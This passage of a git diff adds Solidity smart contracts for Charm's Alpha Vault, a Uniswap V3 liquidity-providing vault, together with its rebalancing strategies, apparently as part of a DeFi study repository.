+        require(_twapDuration > 0, "twapDuration");
+
+        (, lastTick, , , , , ) = _pool.slot0();
+    }
+
+    /**
+     * @notice Calculates new ranges for orders and calls `vault.rebalance()`
+     * so that vault can update its positions. Can only be called by keeper.
+     */
+    function rebalance() external {
+        require(msg.sender == keeper, "keeper");
+
+        int24 _baseThreshold = baseThreshold;
+        int24 _limitThreshold = limitThreshold;
+
+        // Check price is not too close to min/max allowed by Uniswap. Price
+        // shouldn't be this extreme unless something was wrong with the pool.
+        int24 tick = getTick();
+        int24 maxThreshold =
+            _baseThreshold > _limitThreshold ? _baseThreshold : _limitThreshold;
+        require(tick > TickMath.MIN_TICK + maxThreshold + tickSpacing, "tick too low");
+        require(tick < TickMath.MAX_TICK - maxThreshold - tickSpacing, "tick too high");
+
+        // Check price has not moved a lot recently. This mitigates price
+        // manipulation during rebalance and also prevents placing orders
+        // when it's too volatile.
+        int24 twap = getTwap();
+        int24 deviation = tick > twap ? tick - twap : twap - tick;
+        require(deviation <= maxTwapDeviation, "maxTwapDeviation");
+
+        int24 tickFloor = _floor(tick);
+        int24 tickCeil = tickFloor + tickSpacing;
+
+        vault.rebalance(
+            0,
+            0,
+            tickFloor - _baseThreshold,
+            tickCeil + _baseThreshold,
+            tickFloor - _limitThreshold,
+            tickFloor,
+            tickCeil,
+            tickCeil + _limitThreshold
+        );
+
+        lastRebalance = block.timestamp;
+        lastTick = tick;
+    }
+
+    /// @dev Fetches current price in ticks from Uniswap pool.
+    function getTick() public view returns (int24 tick) {
+        (, tick, , , , , ) = pool.slot0();
+    }
+
+    /// @dev Fetches time-weighted average price in ticks from Uniswap pool.
+    function getTwap() public view returns (int24) {
+        uint32 _twapDuration = twapDuration;
+        uint32[] memory secondsAgo = new uint32[](2);
+        secondsAgo[0] = _twapDuration;
+        secondsAgo[1] = 0;
+
+        (int56[] memory tickCumulatives, ) = pool.observe(secondsAgo);
+        return int24((tickCumulatives[1] - tickCumulatives[0]) / _twapDuration);
+    }
+
+    /// @dev Rounds tick down towards negative infinity so that it's a multiple
+    /// of `tickSpacing`.
+    function _floor(int24 tick) internal view returns (int24) {
+        int24 compressed = tick / tickSpacing;
+        if (tick < 0 && tick % tickSpacing != 0) compressed--;
+        return compressed * tickSpacing;
+    }
+
+    function _checkThreshold(int24 threshold, int24 _tickSpacing) internal pure {
+        require(threshold > 0, "threshold > 0");
+        require(threshold <= TickMath.MAX_TICK, "threshold too high");
+        require(threshold % _tickSpacing == 0, "threshold % tickSpacing");
+    }
+
+    function setKeeper(address _keeper) external onlyGovernance {
+        keeper = _keeper;
+    }
+
+    function setBaseThreshold(int24 _baseThreshold) external onlyGovernance {
+        _checkThreshold(_baseThreshold, tickSpacing);
+        baseThreshold = _baseThreshold;
+    }
+
+    function setLimitThreshold(int24 _limitThreshold) external onlyGovernance {
+        _checkThreshold(_limitThreshold, tickSpacing);
+        limitThreshold = _limitThreshold;
+    }
+
+    function setMaxTwapDeviation(int24 _maxTwapDeviation) external onlyGovernance {
+        require(_maxTwapDeviation > 0, "maxTwapDeviation");
+        maxTwapDeviation = _maxTwapDeviation;
+    }
+
+    function setTwapDuration(uint32 _twapDuration) external onlyGovernance {
+        require(_twapDuration > 0, "twapDuration");
+        twapDuration = _twapDuration;
+    }
+
+    /// @dev Uses same governance as underlying vault.
+    modifier onlyGovernance {
+        require(msg.sender == vault.governance(), "governance");
+        _;
+    }
+}
diff --git a/basic/69-charm.fi/contracts/AlphaVault.sol b/basic/69-charm.fi/contracts/AlphaVault.sol
new file mode 100644
index 000000000..af96c9e43
--- /dev/null
+++ b/basic/69-charm.fi/contracts/AlphaVault.sol
@@ -0,0 +1,619 @@
+// SPDX-License-Identifier: Unlicense
+
+pragma solidity 0.7.6;
+
+import "@openzeppelin/contracts/math/Math.sol";
+import "@openzeppelin/contracts/math/SafeMath.sol";
+import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
+import "@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3MintCallback.sol";
+import "@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol";
+import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
+import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
+import "@uniswap/v3-periphery/contracts/libraries/LiquidityAmounts.sol";
+import "@uniswap/v3-periphery/contracts/libraries/PositionKey.sol";
+
+import "../interfaces/IVault.sol";
+
+/**
+ * @title   Alpha Vault
+ * @notice  A vault that provides liquidity on Uniswap V3.
+ */
+contract AlphaVault is
+    IVault,
+    IUniswapV3MintCallback,
+    IUniswapV3SwapCallback,
+    ERC20,
+    ReentrancyGuard
+{
+    using SafeERC20 for IERC20;
+    using SafeMath for uint256;
+
+    event Deposit(
+        address indexed sender,
+        address indexed to,
+        uint256 shares,
+        uint256 amount0,
+        uint256 amount1
+    );
+
+    event Withdraw(
+        address indexed sender,
+        address indexed to,
+        uint256 shares,
+        uint256 amount0,
+        uint256 amount1
+    );
+
+    event CollectFees(
+        uint256 feesToVault0,
+        uint256 feesToVault1,
+        uint256 feesToProtocol0,
+        uint256 feesToProtocol1
+    );
+
+    event Snapshot(int24 tick, uint256 totalAmount0, uint256 totalAmount1, uint256 totalSupply);
+
+    IUniswapV3Pool public immutable pool;
+    IERC20 public immutable token0;
+    IERC20 public immutable token1;
+    int24 public immutable tickSpacing;
+
+    uint256 public protocolFee;
+    uint256 public maxTotalSupply;
+    address public strategy;
+    address public governance;
+    address public pendingGovernance;
+
+    int24 public baseLower;
+    int24 public baseUpper;
+    int24 public limitLower;
+    int24 public limitUpper;
+    uint256 public accruedProtocolFees0;
+    uint256 public accruedProtocolFees1;
+
+    /**
+     * @dev After deploying, strategy needs to be set via `setStrategy()`
+     * @param _pool Underlying Uniswap V3 pool
+     * @param _protocolFee Protocol fee expressed as multiple of 1e-6
+     * @param _maxTotalSupply Cap on total supply
+     */
+    constructor(
+        address _pool,
+        uint256 _protocolFee,
+        uint256 _maxTotalSupply
+    ) ERC20("Alpha Vault", "AV") {
+        pool = IUniswapV3Pool(_pool);
+        token0 = IERC20(IUniswapV3Pool(_pool).token0());
+        token1 = IERC20(IUniswapV3Pool(_pool).token1());
+        tickSpacing = IUniswapV3Pool(_pool).tickSpacing();
+
+        protocolFee = _protocolFee;
+        maxTotalSupply = _maxTotalSupply;
+        governance = msg.sender;
+
+        require(_protocolFee < 1e6, "protocolFee");
+    }
+
+    /**
+     * @notice Deposits tokens in proportion to the vault's current holdings.
+     * @dev These tokens sit in the vault and are not used for liquidity on
+     * Uniswap until the next rebalance. Also note it's not necessary to check
+     * if user manipulated price to deposit cheaper, as the value of range
+     * orders can only by manipulated higher.
+     * @param amount0Desired Max amount of token0 to deposit
+     * @param amount1Desired Max amount of token1 to deposit
+     * @param amount0Min Revert if resulting `amount0` is less than this
+     * @param amount1Min Revert if resulting `amount1` is less than this
+     * @param to Recipient of shares
+     * @return shares Number of shares minted
+     * @return amount0 Amount of token0 deposited
+     * @return amount1 Amount of token1 deposited
+     */
+    function deposit(
+        uint256 amount0Desired,
+        uint256 amount1Desired,
+        uint256 amount0Min,
+        uint256 amount1Min,
+        address to
+    )
+        external
+        override
+        nonReentrant
+        returns (
+            uint256 shares,
+            uint256 amount0,
+            uint256 amount1
+        )
+    {
+        require(amount0Desired > 0 || amount1Desired > 0, "amount0Desired or amount1Desired");
+        require(to != address(0) && to != address(this), "to");
+
+        // Poke positions so vault's current holdings are up-to-date
+        _poke(baseLower, baseUpper);
+        _poke(limitLower, limitUpper);
+
+        // Calculate amounts proportional to vault's holdings
+        (shares, amount0, amount1) = _calcSharesAndAmounts(amount0Desired, amount1Desired);
+        require(shares > 0, "shares");
+        require(amount0 >= amount0Min, "amount0Min");
+        require(amount1 >= amount1Min, "amount1Min");
+
+        // Pull in tokens from sender
+        if (amount0 > 0) token0.safeTransferFrom(msg.sender, address(this), amount0);
+        if (amount1 > 0) token1.safeTransferFrom(msg.sender, address(this), amount1);
+
+        // Mint shares to recipient
+        _mint(to, shares);
+        emit Deposit(msg.sender, to, shares, amount0, amount1);
+        require(totalSupply() <= maxTotalSupply, "maxTotalSupply");
+    }
+
+    /// @dev Do zero-burns to poke a position on Uniswap so earned fees are
+    /// updated. Should be called if total amounts needs to include up-to-date
+    /// fees.
+    function _poke(int24 tickLower, int24 tickUpper) internal {
+        (uint128 liquidity, , , , ) = _position(tickLower, tickUpper);
+        if (liquidity > 0) {
+            pool.burn(tickLower, tickUpper, 0);
+        }
+    }
+
+    /// @dev Calculates the largest possible `amount0` and `amount1` such that
+    /// they're in the same proportion as total amounts, but not greater than
+    /// `amount0Desired` and `amount1Desired` respectively.
+    function _calcSharesAndAmounts(uint256 amount0Desired, uint256 amount1Desired)
+        internal
+        view
+        returns (
+            uint256 shares,
+            uint256 amount0,
+            uint256 amount1
+        )
+    {
+        uint256 totalSupply = totalSupply();
+        (uint256 total0, uint256 total1) = getTotalAmounts();
+
+        // If total supply > 0, vault can't be empty
+        assert(totalSupply == 0 || total0 > 0 || total1 > 0);
+
+        if (totalSupply == 0) {
+            // For first deposit, just use the amounts desired
+            amount0 = amount0Desired;
+            amount1 = amount1Desired;
+            shares = Math.max(amount0, amount1);
+        } else if (total0 == 0) {
+            amount1 = amount1Desired;
+            shares = amount1.mul(totalSupply).div(total1);
+        } else if (total1 == 0) {
+            amount0 = amount0Desired;
+            shares = amount0.mul(totalSupply).div(total0);
+        } else {
+            uint256 cross = Math.min(amount0Desired.mul(total1), amount1Desired.mul(total0));
+            require(cross > 0, "cross");
+
+            // Round up amounts
+            amount0 = cross.sub(1).div(total1).add(1);
+            amount1 = cross.sub(1).div(total0).add(1);
+            shares = cross.mul(totalSupply).div(total0).div(total1);
+        }
+    }
+
+    /**
+     * @notice Withdraws tokens in proportion to the vault's holdings.
+     * @param shares Shares burned by sender
+     * @param amount0Min Revert if resulting `amount0` is smaller than this
+     * @param amount1Min Revert if resulting `amount1` is smaller than this
+     * @param to Recipient of tokens
+     * @return amount0 Amount of token0 sent to recipient
+     * @return amount1 Amount of token1 sent to recipient
+     */
+    function withdraw(
+        uint256 shares,
+        uint256 amount0Min,
+        uint256 amount1Min,
+        address to
+    ) external override nonReentrant returns (uint256 amount0, uint256 amount1) {
+        require(shares > 0, "shares");
+        require(to != address(0) && to != address(this), "to");
+        uint256 totalSupply = totalSupply();
+
+        // Burn shares
+        _burn(msg.sender, shares);
+
+        // Calculate token amounts proportional to unused balances
+        uint256 unusedAmount0 = getBalance0().mul(shares).div(totalSupply);
+        uint256 unusedAmount1 = getBalance1().mul(shares).div(totalSupply);
+
+        // Withdraw proportion of liquidity from Uniswap pool
+        (uint256 baseAmount0, uint256 baseAmount1) =
+            _burnLiquidityShare(baseLower, baseUpper, shares, totalSupply);
+        (uint256 limitAmount0, uint256 limitAmount1) =
+            _burnLiquidityShare(limitLower, limitUpper, shares, totalSupply);
+
+        // Sum up total amounts owed to recipient
+        amount0 = unusedAmount0.add(baseAmount0).add(limitAmount0);
+        amount1 = unusedAmount1.add(baseAmount1).add(limitAmount1);
+        require(amount0 >= amount0Min, "amount0Min");
+        require(amount1 >= amount1Min, "amount1Min");
+
+        // Push tokens to recipient
+        if (amount0 > 0) token0.safeTransfer(to, amount0);
+        if (amount1 > 0) token1.safeTransfer(to, amount1);
+
+        emit Withdraw(msg.sender, to, shares, amount0, amount1);
+    }
+
+    /// @dev Withdraws share of liquidity in a range from Uniswap pool.
+    function _burnLiquidityShare(
+        int24 tickLower,
+        int24 tickUpper,
+        uint256 shares,
+        uint256 totalSupply
+    ) internal returns (uint256 amount0, uint256 amount1) {
+        (uint128 totalLiquidity, , , , ) = _position(tickLower, tickUpper);
+        uint256 liquidity = uint256(totalLiquidity).mul(shares).div(totalSupply);
+
+        if (liquidity > 0) {
+            (uint256 burned0, uint256 burned1, uint256 fees0, uint256 fees1) =
+                _burnAndCollect(tickLower, tickUpper, _toUint128(liquidity));
+
+            // Add share of fees
+            amount0 = burned0.add(fees0.mul(shares).div(totalSupply));
+            amount1 = burned1.add(fees1.mul(shares).div(totalSupply));
+        }
+    }
+
+    /**
+     * @notice Updates vault's positions. Can only be called by the strategy.
+     * @dev Two orders are placed - a base order and a limit order. The base
+     * order is placed first with as much liquidity as possible. This order
+     * should use up all of one token, leaving only the other one. This excess
+     * amount is then placed as a single-sided bid or ask order.
+     */
+    function rebalance(
+        int256 swapAmount,
+        uint160 sqrtPriceLimitX96,
+        int24 _baseLower,
+        int24 _baseUpper,
+        int24 _bidLower,
+        int24 _bidUpper,
+        int24 _askLower,
+        int24 _askUpper
+    ) external nonReentrant {
+        require(msg.sender == strategy, "strategy");
+        _checkRange(_baseLower, _baseUpper);
+        _checkRange(_bidLower, _bidUpper);
+        _checkRange(_askLower, _askUpper);
+
+        (, int24 tick, , , , , ) = pool.slot0();
+        require(_bidUpper <= tick, "bidUpper");
+        require(_askLower > tick, "askLower"); // inequality is strict as tick is rounded down
+
+        // Withdraw all current liquidity from Uniswap pool
+        {
+            (uint128 baseLiquidity, , , , ) = _position(baseLower, baseUpper);
+            (uint128 limitLiquidity, , , , ) = _position(limitLower, limitUpper);
+            _burnAndCollect(baseLower, baseUpper, baseLiquidity);
+            _burnAndCollect(limitLower, limitUpper, limitLiquidity);
+        }
+
+        // Emit snapshot to record balances and supply
+        uint256 balance0 = getBalance0();
+        uint256 balance1 = getBalance1();
+        emit Snapshot(tick, balance0, balance1, totalSupply());
+
+        if (swapAmount != 0) {
+            pool.swap(
+                address(this),
+                swapAmount > 0,
+                swapAmount > 0 ? swapAmount : -swapAmount,
+                sqrtPriceLimitX96,
+                ""
+            );
+            balance0 = getBalance0();
+            balance1 = getBalance1();
+        }
+
+        // Place base order on Uniswap
+        uint128 liquidity = _liquidityForAmounts(_baseLower, _baseUpper, balance0, balance1);
+        _mintLiquidity(_baseLower, _baseUpper, liquidity);
+        (baseLower, baseUpper) = (_baseLower, _baseUpper);
+
+        balance0 = getBalance0();
+        balance1 = getBalance1();
+
+        // Place bid or ask order on Uniswap depending on which token is left
+        uint128 bidLiquidity = _liquidityForAmounts(_bidLower, _bidUpper, balance0, balance1);
+        uint128 askLiquidity = _liquidityForAmounts(_askLower, _askUpper, balance0, balance1);
+        if (bidLiquidity > askLiquidity) {
+            _mintLiquidity(_bidLower, _bidUpper, bidLiquidity);
+            (limitLower, limitUpper) = (_bidLower, _bidUpper);
+        } else {
+            _mintLiquidity(_askLower, _askUpper, askLiquidity);
+            (limitLower, limitUpper) = (_askLower, _askUpper);
+        }
+    }
+
+    function _checkRange(int24 tickLower, int24 tickUpper) internal view {
+        int24 _tickSpacing = tickSpacing;
+        require(tickLower < tickUpper, "tickLower < tickUpper");
+        require(tickLower >= TickMath.MIN_TICK, "tickLower too low");
+        require(tickUpper <= TickMath.MAX_TICK, "tickUpper too high");
+        require(tickLower % _tickSpacing == 0, "tickLower % tickSpacing");
+        require(tickUpper % _tickSpacing == 0, "tickUpper % tickSpacing");
+    }
+
+    /// @dev Withdraws liquidity from a range and collects all fees in the
+    /// process.
+    function _burnAndCollect(
+        int24 tickLower,
+        int24 tickUpper,
+        uint128 liquidity
+    )
+        internal
+        returns (
+            uint256 burned0,
+            uint256 burned1,
+            uint256 feesToVault0,
+            uint256 feesToVault1
+        )
+    {
+        if (liquidity > 0) {
+            (burned0, burned1) = pool.burn(tickLower, tickUpper, liquidity);
+        }
+
+        // Collect all owed tokens including earned fees
+        (uint256 collect0, uint256 collect1) =
+            pool.collect(
+                address(this),
+                tickLower,
+                tickUpper,
+                type(uint128).max,
+                type(uint128).max
+            );
+
+        feesToVault0 = collect0.sub(burned0);
+        feesToVault1 = collect1.sub(burned1);
+        uint256 feesToProtocol0;
+        uint256 feesToProtocol1;
+
+        // Update accrued protocol fees
+        uint256 _protocolFee = protocolFee;
+        if (_protocolFee > 0) {
+            feesToProtocol0 = feesToVault0.mul(_protocolFee).div(1e6);
+            feesToProtocol1 = feesToVault1.mul(_protocolFee).div(1e6);
+            feesToVault0 = feesToVault0.sub(feesToProtocol0);
+            feesToVault1 = feesToVault1.sub(feesToProtocol1);
+            accruedProtocolFees0 = accruedProtocolFees0.add(feesToProtocol0);
+            accruedProtocolFees1 = accruedProtocolFees1.add(feesToProtocol1);
+        }
+        emit CollectFees(feesToVault0, feesToVault1, feesToProtocol0, feesToProtocol1);
+    }
+
+    /// @dev Deposits liquidity in a range on the Uniswap pool.
+    function _mintLiquidity(
+        int24 tickLower,
+        int24 tickUpper,
+        uint128 liquidity
+    ) internal {
+        if (liquidity > 0) {
+            pool.mint(address(this), tickLower, tickUpper, liquidity, "");
+        }
+    }
+
+    /**
+     * @notice Calculates the vault's total holdings of token0 and token1 - in
+     * other words, how much of each token the vault would hold if it withdrew
+     * all its liquidity from Uniswap.
+     */
+    function getTotalAmounts() public view override returns (uint256 total0, uint256 total1) {
+        (uint256 baseAmount0, uint256 baseAmount1) = getPositionAmounts(baseLower, baseUpper);
+        (uint256 limitAmount0, uint256 limitAmount1) =
+            getPositionAmounts(limitLower, limitUpper);
+        total0 = getBalance0().add(baseAmount0).add(limitAmount0);
+        total1 = getBalance1().add(baseAmount1).add(limitAmount1);
+    }
+
+    /**
+     * @notice Amounts of token0 and token1 held in vault's position. Includes
+     * owed fees but excludes the proportion of fees that will be paid to the
+     * protocol. Doesn't include fees accrued since last poke.
+     */
+    function getPositionAmounts(int24 tickLower, int24 tickUpper)
+        public
+        view
+        returns (uint256 amount0, uint256 amount1)
+    {
+        (uint128 liquidity, , , uint128 tokensOwed0, uint128 tokensOwed1) =
+            _position(tickLower, tickUpper);
+        (amount0, amount1) = _amountsForLiquidity(tickLower, tickUpper, liquidity);
+
+        // Subtract protocol fees
+        uint256 oneMinusFee = uint256(1e6).sub(protocolFee);
+        amount0 = amount0.add(uint256(tokensOwed0).mul(oneMinusFee).div(1e6));
+        amount1 = amount1.add(uint256(tokensOwed1).mul(oneMinusFee).div(1e6));
+    }
+
+    /**
+     * @notice Balance of token0 in vault not used in any position.
+     */
+    function getBalance0() public view returns (uint256) {
+        return token0.balanceOf(address(this)).sub(accruedProtocolFees0);
+    }
+
+    /**
+     * @notice Balance of token1 in vault not used in any position.
+     */
+    function getBalance1() public view returns (uint256) {
+        return token1.balanceOf(address(this)).sub(accruedProtocolFees1);
+    }
+
+    /// @dev Wrapper around `IUniswapV3Pool.positions()`.
+    function _position(int24 tickLower, int24 tickUpper)
+        internal
+        view
+        returns (
+            uint128,
+            uint256,
+            uint256,
+            uint128,
+            uint128
+        )
+    {
+        bytes32 positionKey = PositionKey.compute(address(this), tickLower, tickUpper);
+        return pool.positions(positionKey);
+    }
+
+    /// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`.
+    function _amountsForLiquidity(
+        int24 tickLower,
+        int24 tickUpper,
+        uint128 liquidity
+    ) internal view returns (uint256, uint256) {
+        (uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
+        return
+            LiquidityAmounts.getAmountsForLiquidity(
+                sqrtRatioX96,
+                TickMath.getSqrtRatioAtTick(tickLower),
+                TickMath.getSqrtRatioAtTick(tickUpper),
+                liquidity
+            );
+    }
+
+    /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`.
+    function _liquidityForAmounts(
+        int24 tickLower,
+        int24 tickUpper,
+        uint256 amount0,
+        uint256 amount1
+    ) internal view returns (uint128) {
+        (uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
+        return
+            LiquidityAmounts.getLiquidityForAmounts(
+                sqrtRatioX96,
+                TickMath.getSqrtRatioAtTick(tickLower),
+                TickMath.getSqrtRatioAtTick(tickUpper),
+                amount0,
+                amount1
+            );
+    }
+
+    /// @dev Casts uint256 to uint128 with overflow check.
+    function _toUint128(uint256 x) internal pure returns (uint128) {
+        assert(x <= type(uint128).max);
+        return uint128(x);
+    }
+
+    /// @dev Callback for Uniswap V3 pool.
+    function uniswapV3MintCallback(
+        uint256 amount0,
+        uint256 amount1,
+        bytes calldata data
+    ) external override {
+        require(msg.sender == address(pool));
+        if (amount0 > 0) token0.safeTransfer(msg.sender, amount0);
+        if (amount1 > 0) token1.safeTransfer(msg.sender, amount1);
+    }
+
+    /// @dev Callback for Uniswap V3 pool.
+    function uniswapV3SwapCallback(
+        int256 amount0Delta,
+        int256 amount1Delta,
+        bytes calldata data
+    ) external override {
+        require(msg.sender == address(pool));
+        if (amount0Delta > 0) token0.safeTransfer(msg.sender, uint256(amount0Delta));
+        if (amount1Delta > 0) token1.safeTransfer(msg.sender, uint256(amount1Delta));
+    }
+
+    /**
+     * @notice Used to collect accumulated protocol fees.
+     */
+    function collectProtocol(
+        uint256 amount0,
+        uint256 amount1,
+        address to
+    ) external onlyGovernance {
+        accruedProtocolFees0 = accruedProtocolFees0.sub(amount0);
+        accruedProtocolFees1 = accruedProtocolFees1.sub(amount1);
+        if (amount0 > 0) token0.safeTransfer(to, amount0);
+        if (amount1 > 0) token1.safeTransfer(to, amount1);
+    }
+
+    /**
+     * @notice Removes tokens accidentally sent to this vault.
+     */
+    function sweep(
+        IERC20 token,
+        uint256 amount,
+        address to
+    ) external onlyGovernance {
+        require(token != token0 && token != token1, "token");
+        token.safeTransfer(to, amount);
+    }
+
+    /**
+     * @notice Used to set the strategy contract that determines the position
+     * ranges and calls rebalance(). Must be called after this vault is
+     * deployed.
+     */
+    function setStrategy(address _strategy) external onlyGovernance {
+        strategy = _strategy;
+    }
+
+    /**
+     * @notice Used to change the protocol fee charged on pool fees earned from
+     * Uniswap, expressed as multiple of 1e-6.
+     */
+    function setProtocolFee(uint256 _protocolFee) external onlyGovernance {
+        require(_protocolFee < 1e6, "protocolFee");
+        protocolFee = _protocolFee;
+    }
+
+    /**
+     * @notice Used to change deposit cap for a guarded launch or to ensure
+     * vault doesn't grow too large relative to the pool. Cap is on total
+     * supply rather than amounts of token0 and token1 as those amounts
+     * fluctuate naturally over time.
+     */
+    function setMaxTotalSupply(uint256 _maxTotalSupply) external onlyGovernance {
+        maxTotalSupply = _maxTotalSupply;
+    }
+
+    /**
+     * @notice Removes liquidity in case of emergency.
+     */
+    function emergencyBurn(
+        int24 tickLower,
+        int24 tickUpper,
+        uint128 liquidity
+    ) external onlyGovernance {
+        pool.burn(tickLower, tickUpper, liquidity);
+        pool.collect(address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max);
+    }
+
+    /**
+     * @notice Governance address is not updated until the new governance
+     * address has called `acceptGovernance()` to accept this responsibility.
+     */
+    function setGovernance(address _governance) external onlyGovernance {
+        pendingGovernance = _governance;
+    }
+
+    /**
+     * @notice `setGovernance()` should be called by the existing governance
+     * address prior to calling this function.
+     */
+    function acceptGovernance() external {
+        require(msg.sender == pendingGovernance, "pendingGovernance");
+        governance = msg.sender;
+    }
+
+    modifier onlyGovernance {
+        require(msg.sender == governance, "governance");
+        _;
+    }
+}
diff --git a/basic/69-charm.fi/contracts/PassiveStrategy.sol b/basic/69-charm.fi/contracts/PassiveStrategy.sol
new file mode 100644
index 000000000..341c52bbc
--- /dev/null
+++ b/basic/69-charm.fi/contracts/PassiveStrategy.sol
@@ -0,0 +1,226 @@
+// SPDX-License-Identifier: Unlicense
+
+pragma solidity 0.7.6;
+
+import "@openzeppelin/contracts/math/SafeMath.sol";
+import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
+import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
+
+import "./AlphaVault.sol";
+import "../interfaces/IStrategy.sol";
+
+/**
+ * @title   Passive Strategy
+ * @notice  Rebalancing strategy for Alpha Vault that maintains the two
+ *          following range orders:
+ *
+ *          1. Base order is placed between X - B and X + B + TS.
+ *          2. Limit order is placed between X - L and X, or between X + TS
+ *             and X + L + TS, depending on which token it holds more of.
+ *
+ *          where:
+ *
+ *              X = current tick rounded down to multiple of tick spacing
+ *              TS = tick spacing
+ *              B = base threshold
+ *              L = limit threshold
+ *
+ *          Note that after these two orders, the vault should have deposited
+ *          all its tokens and should only have a few wei left.
+ *
+ *          Because the limit order tries to sell whichever token the vault
+ *          holds more of, the vault's holdings will have a tendency to get
+ *          closer to a 1:1 balance. This enables it to continue providing
+ *          liquidity without running out of inventory of either token, and
+ *          achieves this without the need to swap directly on Uniswap and pay
+ *          fees.
+ */
+contract PassiveStrategy is IStrategy {
+    using SafeMath for uint256;
+
+    AlphaVault public immutable vault;
+    IUniswapV3Pool public immutable pool;
+    int24 public immutable tickSpacing;
+
+    int24 public baseThreshold;
+    int24 public limitThreshold;
+    uint256 public period;
+    int24 public minTickMove;
+    int24 public maxTwapDeviation;
+    uint32 public twapDuration;
+    address public keeper;
+
+    uint256 public lastTimestamp;
+    int24 public lastTick;
+
+    /**
+     * @param _vault Underlying Alpha Vault
+     * @param _baseThreshold Used to determine base order range
+     * @param _limitThreshold Used to determine limit order range
+     * @param _period Can only rebalance if this length of time has passed
+     * @param _minTickMove Can only rebalance if price has moved at least this much
+     * @param _maxTwapDeviation Max deviation from TWAP during rebalance
+     * @param _twapDuration TWAP duration in seconds for deviation check
+     * @param _keeper Account that can call `rebalance()`
+     */
+    constructor(
+        address _vault,
+        int24 _baseThreshold,
+        int24 _limitThreshold,
+        uint256 _period,
+        int24 _minTickMove,
+        int24 _maxTwapDeviation,
+        uint32 _twapDuration,
+        address _keeper
+    ) {
+        IUniswapV3Pool _pool = AlphaVault(_vault).pool();
+        int24 _tickSpacing = _pool.tickSpacing();
+
+        vault = AlphaVault(_vault);
+        pool = _pool;
+        tickSpacing = _tickSpacing;
+
+        baseThreshold = _baseThreshold;
+        limitThreshold = _limitThreshold;
+        period = _period;
+        minTickMove = _minTickMove;
+        maxTwapDeviation = _maxTwapDeviation;
+        twapDuration = _twapDuration;
+        keeper = _keeper;
+
+        _checkThreshold(_baseThreshold, _tickSpacing);
+        _checkThreshold(_limitThreshold, _tickSpacing);
+        require(_minTickMove >= 0, "minTickMove must be >= 0");
+        require(_maxTwapDeviation >= 0, "maxTwapDeviation must be >= 0");
+        require(_twapDuration > 0, "twapDuration must be > 0");
+
+        (, lastTick, , , , , ) = _pool.slot0();
+    }
+
+    /**
+     * @notice Calculates new ranges for orders and calls `vault.rebalance()`
+     * so that vault can update its positions. Can only be called by keeper.
+     */
+    function rebalance() external override {
+        require(shouldRebalance(), "cannot rebalance");
+
+        (, int24 tick, , , , , ) = pool.slot0();
+        int24 tickFloor = _floor(tick);
+        int24 tickCeil = tickFloor + tickSpacing;
+
+        vault.rebalance(
+            0,
+            0,
+            tickFloor - baseThreshold,
+            tickCeil + baseThreshold,
+            tickFloor - limitThreshold,
+            tickFloor,
+            tickCeil,
+            tickCeil + limitThreshold
+        );
+
+        lastTimestamp = block.timestamp;
+        lastTick = tick;
+    }
+
+    function shouldRebalance() public view override returns (bool) {
+        // check called by keeper
+        if (msg.sender != keeper) {
+            return false;
+        }
+
+        // check enough time has passed
+        if (block.timestamp < lastTimestamp.add(period)) {
+            return false;
+        }
+
+        // check price has moved enough
+        (, int24 tick, , , , , ) = pool.slot0();
+        int24 tickMove = tick > lastTick ? tick - lastTick : lastTick - tick;
+        if (tickMove < minTickMove) {
+            return false;
+        }
+
+        // check price near twap
+        int24 twap = getTwap();
+        int24 twapDeviation = tick > twap ? tick - twap : twap - tick;
+        if (twapDeviation > maxTwapDeviation) {
+            return false;
+        }
+
+        // check price not too close to boundary
+        int24 maxThreshold = baseThreshold > limitThreshold ? baseThreshold : limitThreshold;
+        if (
+            tick < TickMath.MIN_TICK + maxThreshold + tickSpacing ||
+            tick > TickMath.MAX_TICK - maxThreshold - tickSpacing
+        ) {
+            return false;
+        }
+
+        return true;
+    }
+
+    /// @dev Fetches time-weighted average price in ticks from Uniswap pool.
+    function getTwap() public view returns (int24) {
+        uint32 _twapDuration = twapDuration;
+        uint32[] memory secondsAgo = new uint32[](2);
+        secondsAgo[0] = _twapDuration;
+        secondsAgo[1] = 0;
+
+        (int56[] memory tickCumulatives, ) = pool.observe(secondsAgo);
+        return int24((tickCumulatives[1] - tickCumulatives[0]) / _twapDuration);
+    }
+
+    /// @dev Rounds tick down towards negative infinity so that it's a multiple
+    /// of `tickSpacing`.
+    function _floor(int24 tick) internal view returns (int24) {
+        int24 compressed = tick / tickSpacing;
+        if (tick < 0 && tick % tickSpacing != 0) compressed--;
+        return compressed * tickSpacing;
+    }
+
+    function _checkThreshold(int24 threshold, int24 _tickSpacing) internal pure {
+        require(threshold > 0, "threshold must be > 0");
+        require(threshold <= TickMath.MAX_TICK, "threshold too high");
+        require(threshold % _tickSpacing == 0, "threshold must be multiple of tickSpacing");
+    }
+
+    function setKeeper(address _keeper) external onlyGovernance {
+        keeper = _keeper;
+    }
+
+    function setBaseThreshold(int24 _baseThreshold) external onlyGovernance {
+        _checkThreshold(_baseThreshold, tickSpacing);
+        baseThreshold = _baseThreshold;
+    }
+
+    function setLimitThreshold(int24 _limitThreshold) external onlyGovernance {
+        _checkThreshold(_limitThreshold, tickSpacing);
+        limitThreshold = _limitThreshold;
+    }
+
+    function setPeriod(uint256 _period) external onlyGovernance {
+        period = _period;
+    }
+
+    function setMinTickMove(int24 _minTickMove) external onlyGovernance {
+        require(_minTickMove >= 0, "minTickMove must be >= 0");
+        minTickMove = _minTickMove;
+    }
+
+    function setMaxTwapDeviation(int24 _maxTwapDeviation) external onlyGovernance {
+        require(_maxTwapDeviation >= 0, "maxTwapDeviation must be >= 0");
+        maxTwapDeviation = _maxTwapDeviation;
+    }
+
+    function setTwapDuration(uint32 _twapDuration) external onlyGovernance {
